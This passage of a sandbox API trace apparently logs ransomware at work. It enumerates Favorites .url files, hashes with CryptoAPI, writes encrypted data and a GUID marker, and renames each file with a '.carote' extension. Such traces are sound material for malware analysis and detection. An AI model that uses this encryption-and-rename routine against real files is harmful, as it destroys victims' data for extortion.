(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.carote")) returned 1 [0112.848] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0112.848] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0112.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.849] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.849] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.850] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.850] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.851] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.851] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.851] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.851] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.851] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecb50) returned 1 [0112.852] CryptCreateHash (in: hProv=0x50ecb50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.852] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.852] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.852] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.852] GetLastError () returned 0x0 [0112.852] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.852] CryptReleaseContext (hProv=0x50ecb50, dwFlags=0x0) returned 1 [0112.852] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.852] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.852] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.852] CloseHandle (hObject=0x61c) returned 1 [0112.853] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.carote")) returned 1 [0112.854] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0112.854] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0112.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.855] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=134) returned 1 [0112.855] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.857] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.857] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.858] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x86, lpOverlapped=0x0) returned 1 [0112.858] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.858] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.858] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.858] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecb50) returned 1 [0112.859] CryptCreateHash (in: hProv=0x50ecb50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.859] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.859] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.859] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.859] GetLastError () returned 0x0 [0112.859] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.859] CryptReleaseContext (hProv=0x50ecb50, dwFlags=0x0) returned 1 [0112.859] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.859] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.859] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.859] CloseHandle (hObject=0x61c) returned 1 [0112.860] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.carote")) returned 1 [0112.861] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0112.861] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.861] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.861] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0112.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.861] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.861] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.862] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.862] PathFindFileNameW (pszPath="") returned="" [0112.862] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.862] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.862] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.862] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0112.862] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.862] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.863] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.863] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0112.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.863] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.863] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.864] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.864] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.865] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.865] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.865] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.865] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.865] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.865] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.865] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.865] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.866] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.866] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.866] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.866] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.866] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.866] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.866] GetLastError () returned 0x0 [0112.866] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.866] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.867] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.867] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.867] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.867] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.867] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.867] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.867] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.867] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.867] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.867] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.867] CloseHandle (hObject=0x61c) returned 1 [0112.868] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.868] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.868] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.868] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.carote")) returned 1 [0112.868] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.869] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.869] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.869] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0112.870] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.870] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.870] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.870] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0112.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.870] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.872] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.872] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.873] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.873] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.873] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.873] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.873] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.873] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.873] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.873] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.873] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.874] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.874] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.874] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.874] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.874] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.874] GetLastError () returned 0x0 [0112.874] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.874] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.874] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.874] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.874] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.874] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.874] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.874] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.874] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.875] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.875] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.875] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.875] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.875] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.875] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: 